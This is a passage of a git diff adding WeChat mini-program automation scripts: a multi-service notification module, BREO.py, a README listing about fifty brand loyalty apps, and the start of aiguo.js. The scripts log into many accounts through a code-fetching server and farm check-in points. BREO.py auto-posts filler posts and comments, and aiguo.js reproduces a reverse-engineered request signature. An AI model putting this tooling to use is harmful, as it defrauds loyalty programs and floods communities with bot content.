')}`, + }); + + transporter.close(); + + if (info.messageId) { + console.log('SMTP 发送通知消息成功🎉\n'); + return true; + } + console.log('SMTP 发送通知消息失败😞\n'); + } catch (e) { + console.log('SMTP 发送通知消息出现异常😞\n', e); + } +} + +function pushMeNotify(text, desp, params = {}) { + return new Promise((resolve) => { + const { PUSHME_KEY, PUSHME_URL } = push_config; + if (PUSHME_KEY) { + const options = { + url: PUSHME_URL || 'https://push.i-i.me', + json: { push_key: PUSHME_KEY, title: text, content: desp, ...params }, + headers: { + 'Content-Type': 'application/json', + }, + timeout, + }; + $.post(options, (err, resp, data) => { + try { + if (err) { + console.log('PushMe 发送通知调用API失败😞\n', err); + } else { + if (data === 'success') { + console.log('PushMe 发送通知消息成功🎉\n'); + } else { + console.log(`PushMe 发送通知消息异常 ${data}\n`); + } + } + } catch (e) { + $.logErr(e, resp); + } finally { + resolve(data); + } + }); + } else { + resolve(); + } + }); +} + +function chronocatNotify(title, desp) { + return new Promise((resolve) => { + const { CHRONOCAT_TOKEN, CHRONOCAT_QQ, CHRONOCAT_URL } = push_config; + if (!CHRONOCAT_TOKEN || !CHRONOCAT_QQ || !CHRONOCAT_URL) { + resolve(); + return; + } + + const user_ids = CHRONOCAT_QQ.match(/user_id=(\d+)/g)?.map( + (match) => match.split('=')[1], + ); + const group_ids = CHRONOCAT_QQ.match(/group_id=(\d+)/g)?.map( + (match) => match.split('=')[1], + ); + + const url = `${CHRONOCAT_URL}/api/message/send`; + const headers = { + 'Content-Type': 'application/json', + Authorization: `Bearer ${CHRONOCAT_TOKEN}`, + }; + + for (const [chat_type, ids] of [ + [1, user_ids], + [2, group_ids], + ]) { + if (!ids) { + continue; + } + for (const chat_id of ids) { + const data = { + peer: { + chatType: chat_type, + peerUin: chat_id, + }, + elements: [ + { + elementType: 1, + textElement: { + content: `${title}\n\n${desp}`, + }, + }, + ], + }; + const options = { + url: url, + json: data, + headers, + timeout, + }; + $.post(options, (err, resp, data) => { + try { + if (err) { + console.log('Chronocat 发送QQ通知消息失败😞\n', err); + } else { + if (chat_type === 1) { + console.log(`Chronocat 个人消息 ${ids}推送成功🎉`); + } else { + console.log(`Chronocat 群消息 ${ids}推送成功🎉`); + } + } + } catch (e) { + $.logErr(e, resp); + } finally { + resolve(data); + } + }); + } + } + }); +} + +function qmsgNotify(text, desp) { + return new Promise((resolve) => { + const { QMSG_KEY, QMSG_TYPE } = push_config; + if (QMSG_KEY && QMSG_TYPE) { + const options = { + url: `https://qmsg.zendee.cn/${QMSG_TYPE}/${QMSG_KEY}`, + body: `msg=${text}\n\n${desp.replace('----', '-')}`, + headers: { + 'Content-Type': 'application/x-www-form-urlencoded', + }, + timeout, + }; + $.post(options, (err, resp, data) => { + try { + if (err) { + console.log('Qmsg 发送通知调用API失败😞\n', err); + } else { + if (data.code === 0) { + console.log('Qmsg 发送通知消息成功🎉\n'); + } else { + console.log(`Qmsg 发送通知消息异常 ${data}\n`); + } + } + } catch (e) { + $.logErr(e, resp); + } finally { + resolve(data); + } + }); + } else { + resolve(); + } + }); +} + +function webhookNotify(text, desp) { + return new Promise((resolve) => { + const { + WEBHOOK_URL, + WEBHOOK_BODY, + WEBHOOK_HEADERS, + WEBHOOK_CONTENT_TYPE, + WEBHOOK_METHOD, + } = push_config; + if ( + !WEBHOOK_METHOD || + !WEBHOOK_URL || + (!WEBHOOK_URL.includes('$title') && !WEBHOOK_BODY.includes('$title')) + ) { + resolve(); + return; + } + + const headers = parseHeaders(WEBHOOK_HEADERS); + const body = parseBody(WEBHOOK_BODY, WEBHOOK_CONTENT_TYPE, (v) => + v + ?.replaceAll('$title', text?.replaceAll('\n', '\\n')) + ?.replaceAll('$content', desp?.replaceAll('\n', '\\n')), + ); + const bodyParam = formatBodyFun(WEBHOOK_CONTENT_TYPE, body); + const options = { + method: WEBHOOK_METHOD, + headers, + allowGetBody: true, + ...bodyParam, + timeout, + retry: 1, + }; + + const formatUrl = WEBHOOK_URL.replaceAll( + '$title', + encodeURIComponent(text), + ).replaceAll('$content', encodeURIComponent(desp)); + httpClient.request(formatUrl, options).then(async (resp) => { + const body = await resp.body.text(); + try { + if (resp.statusCode !== 200) { + console.log(`自定义发送通知消息失败😞 ${body}\n`); + } else { + console.log(`自定义发送通知消息成功🎉 ${body}\n`); + } + } catch (e) { + $.logErr(e, resp); + } finally { + resolve(body); + } + }); + }); +} + +function ntfyNotify(text, desp) { + function encodeRFC2047(text) { + const encodedBase64 = Buffer.from(text).toString('base64'); + return `=?utf-8?B?${encodedBase64}?=`; + } + + return new Promise((resolve) => { + const { + NTFY_URL, + NTFY_TOPIC, + NTFY_PRIORITY, + NTFY_TOKEN, + NTFY_USERNAME, + NTFY_PASSWORD, + NTFY_ACTIONS, + } = push_config; + if (NTFY_TOPIC) { + const options = { + url: `${NTFY_URL || 'https://ntfy.sh'}/${NTFY_TOPIC}`, + body: `${desp}`, + headers: { + Title: `${encodeRFC2047(text)}`, + Priority: NTFY_PRIORITY || '3', + Icon: 'https://qn.whyour.cn/logo.png', + }, + timeout, + }; + if (NTFY_TOKEN) { + options.headers['Authorization'] = `Bearer ${NTFY_TOKEN}`; + } else if (NTFY_USERNAME && NTFY_PASSWORD) { + options.headers['Authorization'] = + `Basic ${Buffer.from(`${NTFY_USERNAME}:${NTFY_PASSWORD}`).toString('base64')}`; + } + if (NTFY_ACTIONS) { + options.headers['Actions'] = encodeRFC2047(NTFY_ACTIONS); + } + + $.post(options, (err, resp, data) => { + try { + if (err) { + console.log('Ntfy 通知调用API失败😞\n', err); + } else { + if (data.id) { + console.log('Ntfy 发送通知消息成功🎉\n'); + } else { + console.log(`Ntfy 发送通知消息异常 ${JSON.stringify(data)}`); + } + } + } catch (e) { + $.logErr(e, resp); + } finally { + resolve(data); + } + }); + } else { + resolve(); + } + }); +} + +function wxPusherNotify(text, desp) { + return new Promise((resolve) => { + const { WXPUSHER_APP_TOKEN, WXPUSHER_TOPIC_IDS, WXPUSHER_UIDS } = + push_config; + if (WXPUSHER_APP_TOKEN) { + // 处理topic_ids,将分号分隔的字符串转为数组 + const topicIds = WXPUSHER_TOPIC_IDS + ? WXPUSHER_TOPIC_IDS.split(';') + .map((id) => id.trim()) + .filter((id) => id) + .map((id) => parseInt(id)) + : []; + + // 处理uids,将分号分隔的字符串转为数组 + const uids = WXPUSHER_UIDS + ? WXPUSHER_UIDS.split(';') + .map((uid) => uid.trim()) + .filter((uid) => uid) + : []; + + // topic_ids uids 至少有一个 + if (!topicIds.length && !uids.length) { + console.log( + 'wxpusher 服务的 WXPUSHER_TOPIC_IDS 和 WXPUSHER_UIDS 至少设置一个!!', + ); + return resolve(); + } + + const body = { + appToken: WXPUSHER_APP_TOKEN, + content: `

${text}


${desp}
`, + summary: text, + contentType: 2, + topicIds: topicIds, + uids: uids, + verifyPayType: 0, + }; + + const options = { + url: 'https://wxpusher.zjiecode.com/api/send/message', + body: JSON.stringify(body), + headers: { + 'Content-Type': 'application/json', + }, + timeout, + }; + + $.post(options, (err, resp, data) => { + try { + if (err) { + console.log('wxpusher发送通知消息失败!\n', err); + } else { + if (data.code === 1000) { + console.log('wxpusher发送通知消息完成!'); + } else { + console.log(`wxpusher发送通知消息异常:${data.msg}`); + } + } + } catch (e) { + $.logErr(e, resp); + } finally { + resolve(data); + } + }); + } else { + resolve(); + } + }); +} + +function parseString(input, valueFormatFn) { + const regex = /(\w+):\s*((?:(?!\n\w+:).)*)/g; + const matches = {}; + + let match; + while ((match = regex.exec(input)) !== null) { + const [, key, value] = match; + const _key = key.trim(); + if (!_key || matches[_key]) { + continue; + } + + let _value = value.trim(); + + try { + _value = valueFormatFn ? valueFormatFn(_value) : _value; + const jsonValue = JSON.parse(_value); + matches[_key] = jsonValue; + } catch (error) { + matches[_key] = _value; + } + } + + return matches; +} + +function parseHeaders(headers) { + if (!headers) return {}; + + const parsed = {}; + let key; + let val; + let i; + + headers && + headers.split('\n').forEach(function parser(line) { + i = line.indexOf(':'); + key = line.substring(0, i).trim().toLowerCase(); + val = line.substring(i + 1).trim(); + + if (!key) { + return; + } + + parsed[key] = parsed[key] ? parsed[key] + ', ' + val : val; + }); + + return parsed; +} + +function parseBody(body, contentType, valueFormatFn) { + if (contentType === 'text/plain' || !body) { + return valueFormatFn && body ? valueFormatFn(body) : body; + } + + const parsed = parseString(body, valueFormatFn); + + switch (contentType) { + case 'multipart/form-data': + return Object.keys(parsed).reduce((p, c) => { + p.append(c, parsed[c]); + return p; + }, new FormData()); + case 'application/x-www-form-urlencoded': + return Object.keys(parsed).reduce((p, c) => { + return p ? `${p}&${c}=${parsed[c]}` : `${c}=${parsed[c]}`; + }); + } + + return parsed; +} + +function formatBodyFun(contentType, body) { + if (!body) return {}; + switch (contentType) { + case 'application/json': + return { json: body }; + case 'multipart/form-data': + return { form: body }; + case 'application/x-www-form-urlencoded': + case 'text/plain': + return { body }; + } + return {}; +} + +/** + * sendNotify 推送通知功能 + * @param text 通知头 + * @param desp 通知体 + * @param params 某些推送通知方式点击弹窗可跳转, 例:{ url: 'https://abc.com' } + * @returns {Promise} + */ +async function sendNotify(text, desp, params = {}) { + // 根据标题跳过一些消息推送,环境变量:SKIP_PUSH_TITLE 用回车分隔 + let skipTitle = process.env.SKIP_PUSH_TITLE; + if (skipTitle) { + if (skipTitle.split('\n').includes(text)) { + console.info(text + '在 SKIP_PUSH_TITLE 环境变量内,跳过推送'); + return; + } + } + + if (push_config.HITOKOTO !== 'false') { + desp += '\n\n' + (await one()); + } + + await Promise.all([ + serverNotify(text, desp), // 微信server酱 + pushPlusNotify(text, desp), // pushplus + wePlusBotNotify(text, desp), // 微加机器人 + barkNotify(text, desp, params), // iOS Bark APP + tgBotNotify(text, desp), // telegram 机器人 + ddBotNotify(text, desp), // 钉钉机器人 + qywxBotNotify(text, desp), // 企业微信机器人 + qywxamNotify(text, desp), // 企业微信应用消息推送 + iGotNotify(text, desp, params), // iGot + gobotNotify(text, desp), // go-cqhttp + gotifyNotify(text, desp), // gotify + chatNotify(text, desp), // synolog chat + pushDeerNotify(text, desp), // PushDeer + aibotkNotify(text, desp), // 智能微秘书 + fsBotNotify(text, desp), // 飞书机器人 + smtpNotify(text, desp), // SMTP 邮件 + pushMeNotify(text, desp, params), // PushMe + chronocatNotify(text, desp), // Chronocat + webhookNotify(text, desp), // 自定义通知 + qmsgNotify(text, desp), // 自定义通知 + ntfyNotify(text, desp), // Ntfy + wxPusherNotify(text, desp), // wxpusher + ]); +} + +module.exports = { + sendNotify, +}; \ No newline at end of file diff --git a/wxapp/BREO.py b/wxapp/BREO.py new file mode 100644 index 00000000..9ab62c97 --- /dev/null +++ b/wxapp/BREO.py @@ -0,0 +1,393 @@ +#by:哆啦A梦 +#入口:http://mx.qrurl.net/h5/wxa/link?sid=26407uif5Oq +#BREO变量填写wx_server里的openid/账号标识,多账号换行分割 +#需要配置wx_server_url、wx_auth,用于获取wx.login code +#账号变量名:BREO +#new Env("BREO") +#cron 8 9,10,11 * * * + + +import requests +import json +import os +import sys +import time +from pathlib import Path + +if hasattr(sys.stdout, "reconfigure"): + sys.stdout.reconfigure(encoding="utf-8", errors="replace") +if hasattr(sys.stderr, "reconfigure"): + sys.stderr.reconfigure(encoding="utf-8", errors="replace") + +MINI_APP_ID = "wx61457400e4212cec" +WX_SERVER_URL = os.getenv("wx_server_url", "http://192.168.31.196:8787").rstrip("/") +WX_AUTH = os.getenv("wx_auth", "") +TOKEN_CACHE_PATH = Path(__file__).with_name("BREO_token_cache.json") +LOGIN_BASE = "https://breoplus.breo.cn/app/minic" +APP_BASE = "https://breoplus.breo.cn/breo-app" +DEFAULT_UA = "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/132.0.0.0 Safari/537.36 MicroMessenger/7.0.20.1781(0x6700143B) NetType/WIFI MiniProgramEnv/Windows WindowsWechat/WMPF" + +session = requests.Session() + +def read_token_cache(): + try: + if not TOKEN_CACHE_PATH.exists(): + return {} + return json.loads(TOKEN_CACHE_PATH.read_text(encoding="utf-8")) or {} + except Exception: + return {} + +def write_token_cache(cache): + try: + TOKEN_CACHE_PATH.write_text(json.dumps(cache, ensure_ascii=False, indent=2), encoding="utf-8") + except Exception as e: + print(f"⚠️ 写入token缓存失败: {e}") + +def mask_token(token): + if not token: + return "" + return f"{token[:6]}***{token[-6:]}" + +def is_success(result): + return result.get("success") is True or str(result.get("code")) in ("0000", "200", "200.0") + +def is_token_error(message): + text = str(message) + return any(key in text for key in ["40101", "40102", "token", "登录", "授权", "过期", "失效"]) + +def wx_headers(): + return { + "auth": WX_AUTH, + "User-Agent": DEFAULT_UA, + "Content-Type": "application/json", + } + +def app_headers(token=None): + headers = { + "User-Agent": DEFAULT_UA, + "content-Type": "application/json", + "Content-Type": "application/json", + "deviceInfo": "{}", + "Referer": "https://servicewechat.com/wx61457400e4212cec/390/page-frame.html", + } + if token: + headers["token"] = token + return headers + +def breo_task_headers(token): + return { + "token": token, + "device-type": "Xiaomi", + "device-version": "10", + "channel": "Breo", + "version_code": "30201", + "version": "3.2.1", + "encrypt": "1", + "Content-Type": "application/json; charset=UTF-8", + "Referer": "https://servicewechat.com/wx61457400e4212cec/390/page-frame.html", + "User-Agent": DEFAULT_UA, + } + +def get_wx_code(account_id): + if not WX_AUTH: + raise RuntimeError("缺少wx_auth,无法从wx_server获取code") + resp = session.post( + f"{WX_SERVER_URL}/wx/code", + json={"appid": MINI_APP_ID, "openid": account_id}, + headers=wx_headers(), + timeout=30, + ) + resp.raise_for_status() + data = resp.json() + code = data.get("code") or (data.get("data") or {}).get("code") + if not code: + raise RuntimeError(f"wx_server未返回code: {data}") + return code + +def login_with_code(account_id): + code = get_wx_code(account_id) + login_resp = session.get( + f"{LOGIN_BASE}/login/{code}", + headers=app_headers(), + timeout=30, + ) + login_resp.raise_for_status() + login_data = login_resp.json() + if str(login_data.get("code")) != "200" or not login_data.get("data"): + raise RuntimeError(f"code登录失败: {login_data}") + user_info = login_data["data"] + uid = user_info.get("uid") + open_id = user_info.get("openId") + union_id = user_info.get("unionId") + if not uid: + raise RuntimeError(f"登录响应缺少uid: {login_data}") + + token_resp = session.post( + f"{APP_BASE}/customer/loginByUid", + json={"uid": uid, "openId": open_id, "unionId": union_id}, + headers=app_headers(), + timeout=30, + ) + token_resp.raise_for_status() + token_data = token_resp.json() + if not is_success(token_data) or not (token_data.get("result") or {}).get("token"): + raise RuntimeError(f"业务token登录失败: {token_data}") + return { + "token": token_data["result"]["token"], + "uid": uid, + "openId": open_id, + "unionId": union_id, + "userInfo": user_info, + "customer": token_data.get("result", {}), + "updatedAt": int(time.time()), + } + +def get_cached_token(account_id): + return read_token_cache().get(account_id) + +def save_cached_token(account_id, auth_info): + cache = read_token_cache() + cache[account_id] = auth_info + write_token_cache(cache) + +def remove_cached_token(account_id): + cache = read_token_cache() + if account_id in cache: + del cache[account_id] + write_token_cache(cache) + +def validate_token(token): + try: + resp = session.post( + f"{APP_BASE}/getUserLevelInfoByUid", + headers=app_headers(token), + timeout=15, + ) + if resp.status_code != 200: + return False + data = resp.json() + if is_success(data): + return True + return not is_token_error(data) + except Exception: + return False + +def get_token_for_account(account_id, index): + cached = get_cached_token(account_id) + if cached and cached.get("token"): + print(f"账号 {index} 使用缓存token: {mask_token(cached['token'])}") + if validate_token(cached["token"]): + return cached["token"] + print(f"账号 {index} 缓存token失效,重新登录") + remove_cached_token(account_id) + + auth_info = login_with_code(account_id) + save_cached_token(account_id, auth_info) + user_info = auth_info.get("userInfo") or {} + print(f"账号 {index} code登录成功: {user_info.get('nickname') or user_info.get('telephone') or auth_info.get('uid')}") + return auth_info["token"] + +def get_random_one_word(): + try: + response = requests.get("https://uapis.cn/api/say") + if response.status_code == 200: + return response.text.strip() + else: + return "无法获取一言" + except Exception as e: + print(f"获取一言时出错: {e}") + return "无法获取一言" + +def get_proclamation(): + primary_url = "https://github.com/3288588344/toulu/raw/refs/heads/main/tl.txt" + backup_url = "https://tfapi.cn/TL/tl.json" + try: + response = requests.get(primary_url, timeout=10) + if response.status_code == 200: + print("\n" + "=" * 50) + print("📢 公告信息") + print("=" * 35) + print(response.text) + print("=" * 35 + "\n") + print("公告获取成功,开始执行任务...\n") + return + except requests.exceptions.RequestException as e: + print(f"获取公告时发生错误: {e}, 尝试备用链接...") + + try: + response = requests.get(backup_url, timeout=10) + if response.status_code == 200: + print("\n" + "=" * 50) + print("📢 公告信息") + print("=" * 35) + print(response.text) + print("=" * 35 + "\n") + print("公告获取成功,开始执行任务...\n") + else: + print(f"⚠️ 获取公告失败,状态码: {response.status_code}") + except requests.exceptions.RequestException as e: + print(f"⚠️ 获取公告时发生错误: {e}, 可能是网络问题或链接无效。") + +def post_to_breo(token, content, title): + url = "https://breoplus.breo.cn/breo-app/communityBaseInfo/releasePost" + headers = breo_task_headers(token) + data = { + "anonymoused": 1, + "content": content, + "expressText": "", + "images": [], + "subTitle": "", + "title": title, + "topicText": "" + } + try: + response = requests.post(url, headers=headers, data=json.dumps(data)) + if response.status_code == 200: + result = response.json() + if result.get("success", False): + print("✅ 发帖成功!") + print(f"帖子 ID: {result['result']['id']}") + print(f"帖子标题: {result['result']['title']}") + return result["result"]["id"] + else: + print(f"❌ 发帖失败,错误信息:{result.get('message', '未知错误')}") + return None + else: + print(f"❌ 请求失败,状态码:{response.status_code}") + return None + except Exception as e: + print(f"❌ 请求错误: {e}") + return None + +def collect_post(token, post_id): + url = "https://breoplus.breo.cn/breo-app/communityBaseInfo/collect" + headers = breo_task_headers(token) + data = { + "postId": post_id + } + try: + response = requests.post(url, headers=headers, data=json.dumps(data)) + if response.status_code == 200: + result = response.json() + if result.get("success", False): + print("✅ 收藏成功!") + reward = result.get("result") or {} + print(f"获得点数: {reward.get('point', 0)}") + print(f"成长值: {reward.get('grow', 0)}") + else: + print(f"❌ 收藏失败,错误信息:{result.get('message', '未知错误')}") + else: + print(f"❌ 请求失败,状态码:{response.status_code}") + except Exception as e: + print(f"❌ 请求错误: {e}") + +def comment_post(token, post_id): + for _ in range(2): # 评论2次 + comment_content = get_random_one_word() # 使用随机一言作为评论内容 + url = "https://breoplus.breo.cn/breo-app/communityBaseInfo/comment" + headers = breo_task_headers(token) + data = { + "anonymoused": 0, + "commentText": comment_content, + "postId": post_id + } + try: + response = requests.post(url, headers=headers, data=json.dumps(data)) + if response.status_code == 200: + result = response.json() + if result.get("success", False): + print("✅ 评论成功!") + reward = result.get("result") or {} + root = reward.get("rootOutVO") or {} + print(f"评论内容: {root.get('commentText', comment_content)}") + print(f"获得点数: {reward.get('point', 0)}") + print(f"成长值: {reward.get('grow', 0)}") + else: + print(f"❌ 评论失败,错误信息:{result.get('message', '未知错误')}") + else: + print(f"❌ 请求失败,状态码:{response.status_code}") + except Exception as e: + print(f"❌ 请求错误: {e}") + time.sleep(1) # 避免频繁请求 + +def browse_mall(token): + url = "https://breoplus.breo.cn/breo-app/user/po-task-info/mall" + headers = breo_task_headers(token) + try: + response = requests.post(url, headers=headers) + if response.status_code == 200: + result = response.json() + if result.get("success", False): + print("✅ 浏览商城成功!") + reward = result.get("result") or {} + print(f"获得点数: {reward.get('point', 0)}") + print(f"成长值: {reward.get('grow', 0)}") + else: + print(f"❌ 浏览商城失败,错误信息:{result.get('message', '未知错误')}") + else: + print(f"❌ 请求失败,状态码:{response.status_code}") + except Exception as e: + print(f"❌ 请求错误: {e}") + +def punch_in(token): + url = "https://breoplus.breo.cn/breo-app/user/po-task-info/punch" + headers = breo_task_headers(token) + try: + response = requests.post(url, headers=headers) + if response.status_code == 200: + result = response.json() + if result.get("success", False): + print("✅ 签到成功!") + reward = result.get("result") or {} + print(f"获得点数: {reward.get('point', 0)}") + print(f"成长值: {reward.get('grow', 0)}") + else: + print(f"❌ 签到失败,错误信息:{result.get('message', '未知错误')}") + else: + print(f"❌ 请求失败,状态码:{response.status_code}") + except Exception as e: + print(f"❌ 请求错误: {e}") + +if __name__ == "__main__": + # 获取公告 + #get_proclamation() + + # 从环境变量读取 wx_server 账号标识/openid + accounts = [item.strip() for item in os.getenv("BREO", "").replace("&", "\n").splitlines() if item.strip()] + + if not accounts: + print("❌ 未检测到 账号信息,退出脚本。") + else: + skip_community = os.getenv("BREO_SKIP_COMMUNITY", "").lower() in ("1", "true", "yes") + print("=============== 开始执行任务 ===============") + for i, account in enumerate(accounts, 1): + print(f"\n-------------- 账号 {i} 开始 --------------") + try: + token = get_token_for_account(account, i) + except Exception as e: + print(f"❌ 账号 {i} 登录失败: {e}") + continue + + print("🚀 正在签到...") + punch_in(token) + + if skip_community: + print("\n📝 已跳过发帖/收藏/评论任务") + else: + print("\n📝 正在发布帖子...") + post_id = post_to_breo(token, "这是一个自动发布的帖子", "自动化测试") + if post_id: + print("\n⭐ 正在收藏帖子...") + collect_post(token, post_id) + + print("\n💬 正在评论帖子...") + comment_post(token, post_id) + else: + print("❌ 发帖失败,跳过后续操作。") + + print("\n🛒 正在浏览商城...") + browse_mall(token) + + print(f"-------------- 账号 {i} 结束 --------------") + + print("\n=============== 所有任务执行完毕 ===============") diff --git a/wxapp/README.md b/wxapp/README.md new file mode 100644 index 00000000..6aaf61c8 --- /dev/null +++ b/wxapp/README.md @@ -0,0 +1,55 @@ +# 微信小程序脚本 + +本目录下主要放依赖 `wx_server_url` / `wx_auth` 获取微信小程序 `code` 的脚本。首次使用一般需要先在对应微信小程序内完成注册、授权或绑定手机号。 + +| 小程序名字 | 实现内容 | +| --- | --- | +| 爱玛会员俱乐部 | code 登录,会员签到 | +| BLUE DASH 布鲁大师 | code 登录,小程序签到 | +| BREO | code 登录,会员签到 | +| 金巴厘杯中空间 | code 登录,小程序签到 | +| CASETiFY | code 登录,小程序签到 | +| 臭宝乐园 | 小程序签到,积分任务 | +| colorful 七彩虹 | code 登录,签到与点赞任务 | +| 大参林 | code 登录,小程序签到 | +| 发发藏宝洞 | code 登录,小程序签到 | +| 敷尔佳 | code 登录,小程序签到 | +| 逢三得利吧 | code 登录,签到积分 | +| 顾家家居 | code 登录,小程序签到 | +| 谷雨 | code 登录,小程序签到 | +| 国乐酱酒 | code 登录,小程序签到 | +| 海天美味馆 | code 登录,签到与积分任务 | +| 海尔智家 | code 登录,小程序任务 | +| 好人家 | code 登录,小程序签到 | +| iQOO 社区 | code 登录,积分任务 | +| 劲友家 | code 登录,小程序签到 | +| 旧衣小二 | code 登录,小程序签到 | +| 康师傅畅饮社 | code 登录,签到任务 | +| 可口可乐 | code 登录,小程序签到 | +| 烈儿宝贝 | code 登录,小程序签到 | +| 龙湖天街 | code 登录,小程序签到 | +| 麦富迪会员 | code 登录,小程序签到 | +| 庙友之家 | 公众号/小程序 Cookie 签到 | +| 米其林会员 | code 登录,每日任务 | +| 慕思 | code 登录,小程序签到 | +| 蜜雪冰城 | code 登录,签到与会员任务 | +| 纳爱斯品质生活 | code 登录,小程序签到 | +| 日清食品 | code 登录,小程序签到 | +| 浓五的酒馆 | code 登录,小程序签到 | +| 呼啦圈 parkson | code 登录,小程序签到 | +| 洽洽会员俱乐部 | code 登录,小程序签到 | +| 全棉时代 | 小程序种棉花任务 | +| 老板电器 ROKI | code 登录,小程序签到 | +| stokke | code 登录,每周签到 | +| 谭木匠会员俱乐部 | code 登录,小程序签到 | +| 天牛旧衣服回收 | code 登录,小程序签到 | +| 谢瑞麟 | code 登录,小程序签到 | +| 花生帮粉丝俱乐部 | code 登录,签到任务 | +| 美的会员 | 小程序 Cookie 签到 | +| 骁龙骁友会 | 小程序签到任务 | +| 影视飓风 | code 登录,小程序签到 | +| 盈客宝电玩 | code 登录,小程序签到 | +| 拓路者 | code 登录,小程序签到 | +| 戴可思 | code 登录,小程序签到 | +| 植白说 | code 登录,小程序签到 | +| 战马能量星球 | 小程序任务 | diff --git a/wxapp/aiguo.js b/wxapp/aiguo.js new file mode 100644 index 00000000..25a72c7f --- /dev/null +++ b/wxapp/aiguo.js @@ -0,0 +1,250 @@ +/* +------------------------------------------ +@Description: 爱裹旧衣回收 - 微信小程序静默登录 + 每日签到 +cron: 46 8 * * * +------------------------------------------ +变量名:aiguo +变量值:wx_server 里的 openid/账号标识,多账号用 & 或换行分隔(可加 #备注) + +依赖变量: +wx_server_url 默认 http://192.168.31.196:8787 +wx_auth 必填,wx_server 鉴权值 +------------------------------------------ +契约(appid wx4ff260333d3c5ddd,host alipay.haliaeetus.cn): + +一个 host 下按模块分前缀:回收侧 /recy/...、福利积分侧 /fuli/...(解包 globalRequest +的第 4 个参数就是这个前缀)。信封 {status, msg, data},**成功码 200**,401 是没权限。 +固定头:Authorization: / plateForm:WX / channelNo:"" / content-type:json + +时间戳 GET /fuli/currentTime -> 响应体就是**裸的毫秒时间戳文本**(不是 JSON) +登录 POST /recy/api/user/identityIdByAuthCode + {data:{authCode:}, m:<上面的时间戳>, s:<签名>} + 签名很别致(解包 main.js 的 prototype.sign): + s = md5( (m + JSON.stringify(data)) 这个串**按字符排序**后 trim ) + —— 是把字符串的字符逐个排序再 md5,没有盐。 + -> data.{identityId, unionId, accessToken, token?} + **只有已注册的账号才会回 data.token**,它才是后续所有请求的 Authorization。 + 未注册时只有 identityId/accessToken,拿它们去打业务接口一律 + {status:401,"No access,Permission verification failed!"} + (源码里这种情况会走 getRegisterCellphoneAuthCode 手机号注册,脚本不代做) + +状态 GET /fuli/api/fuli/signedInfo -> 今日签到状态(需 token) +签到 GET /fuli/api/fuli/signed -> status==200 即签到成功 +积分 POST /fuli/api/jf/account -> 积分账户 + +⚠️ 实测状态:登录链路+签名**已实测通过**(服务端回 200 并给出 identityId); +但本测试号未在爱裹注册,服务端不发 token,因此**签到接口本身未能实测**, +只按解包契约实现。已注册的号跑起来即可验证。 +不做:/api/earnPoint/doTask(做任务赚积分)、/api/clockIn/add1(另一套打卡)。 +------------------------------------------ +*/ + +const { Env } = require("../tools/env.js"); +const $ = new Env("爱裹旧衣回收"); +const axios = require("axios"); +const crypto = require("crypto"); +const fs = require("fs"); +const path = require("path"); +const WeChatServer = require("./wcs.js"); + +const ckName = "aiguo"; +const MINI_APP_ID = "wx4ff260333d3c5ddd"; +const BASE = "https://alipay.haliaeetus.cn"; +const TOKEN_CACHE_FILE = path.join(__dirname, "aiguo_token_cache.json"); +const USER_AGENT = + "Mozilla/5.0 (Linux; Android 12; M2012K11AC Build/SKQ1.220303.001; wv) AppleWebKit/537.36 (KHTML, like Gecko) " + + "Version/4.0 Chrome/134.0.6998.136 Mobile Safari/537.36 MicroMessenger/8.0.48.2580(0x28003036) MiniProgramEnv/android"; + +const EP_TIME = "/fuli/currentTime"; +const EP_LOGIN = "/recy/api/user/identityIdByAuthCode"; +const EP_SIGN_INFO = "/fuli/api/fuli/signedInfo"; +const EP_SIGN = "/fuli/api/fuli/signed"; +const EP_ACCOUNT = "/fuli/api/jf/account"; + +const wechat = new WeChatServer({ + url: process.env.wx_server_url || "http://192.168.31.196:8787", + appid: MINI_APP_ID, + auth: process.env.wx_auth || "", +}); + +const md5 = (s) => crypto.createHash("md5").update(String(s), "utf8").digest("hex"); +/** 解包里的 sign():把字符串的字符排序后拼回去再 trim */ +const sortChars = (s) => String(s).split("").sort().join("").replace(/^\s+|\s+$/g, ""); + +function readCache() { + try { + if (!fs.existsSync(TOKEN_CACHE_FILE)) return {}; + return JSON.parse(fs.readFileSync(TOKEN_CACHE_FILE, "utf8")) || {}; + } catch (e) { + return {}; + } +} + +function writeCache(cache) { + try { + fs.writeFileSync(TOKEN_CACHE_FILE, JSON.stringify(cache, null, 2), "utf8"); + } catch (e) { + $.log(`写入token缓存失败: ${e.message || e}`); + } +} + +function parseAccount(raw = "") { + const [id, remark] = String(raw).split("#").map((s) => (s || "").trim()); + return { openid: id, remark: remark || "" }; +} + +function short(v, n = 200) { + const t = typeof v === "string" ? v : JSON.stringify(v); + return !t ? "" : t.length > n ? `${t.slice(0, n)}...` : t; +} + +const isOk = (res) => res && Number(res.status) === 200; +const statusOf = (res) => Number(res?.status); +const msgOf = (res) => res?.msg || res?.message || short(res); +const isAlreadyDone = (t) => /已签|已经签|签到过|重复|已完成|already/i.test(String(t || "")); +/** 401 = 没有有效 token(未注册或会话过期都会走到这里) */ +const isNoAccess = (res) => statusOf(res) === 401 || /No access|Permission verification/i.test(msgOf(res)); + +class Task { + constructor(raw) { + this.index = $.userIdx++; + this.account = parseAccount(raw); + this.token = ""; + } + + log(text) { + $.log(`账号[${this.index}]${this.account.remark ? `[${this.account.remark}]` : ""} ${text}`); + } + + async request(apiPath, { method = "GET", body = null, withAuth = true, raw = false } = {}) { + const headers = { + "Content-Type": "application/json", + Accept: "*/*", + "User-Agent": USER_AGENT, + Referer: `https://servicewechat.com/${MINI_APP_ID}/245/page-frame.html`, + plateForm: "WX", + channelNo: "", + xweb_xhr: "1", + }; + headers.Authorization = withAuth ? this.token || "" : ""; + const res = await axios.request({ + method, + url: `${BASE}${apiPath}`, + data: method === "GET" ? undefined : body || {}, + headers, + timeout: 20000, + validateStatus: () => true, + }); + if (res.status !== 200) { + if (res.data && typeof res.data === "object") return res.data; + throw new Error(`${apiPath} HTTP ${res.status}: ${short(res.data)}`); + } + // /fuli/currentTime 回的是裸时间戳文本,不是 JSON + return raw ? String(res.data).trim() : res.data; + } + + /** wcs.getCode 在 status:false 时也 resolve,必须自己判失败,否则取码限流会被误报成登录失败 */ + async getCode() { + const { data } = await wechat.getCode(this.account.openid); + if (data && data.status === false) { + throw new Error(`wx_server 取code失败: ${data.message || short(data)}`); + } + const code = data?.data?.code || data?.code; + if (!code || typeof code !== "string") throw new Error(`wx_server 未返回 code: ${short(data)}`); + return code; + } + + async login() { + const code = await this.getCode(); + const m = await this.request(EP_TIME, { withAuth: false, 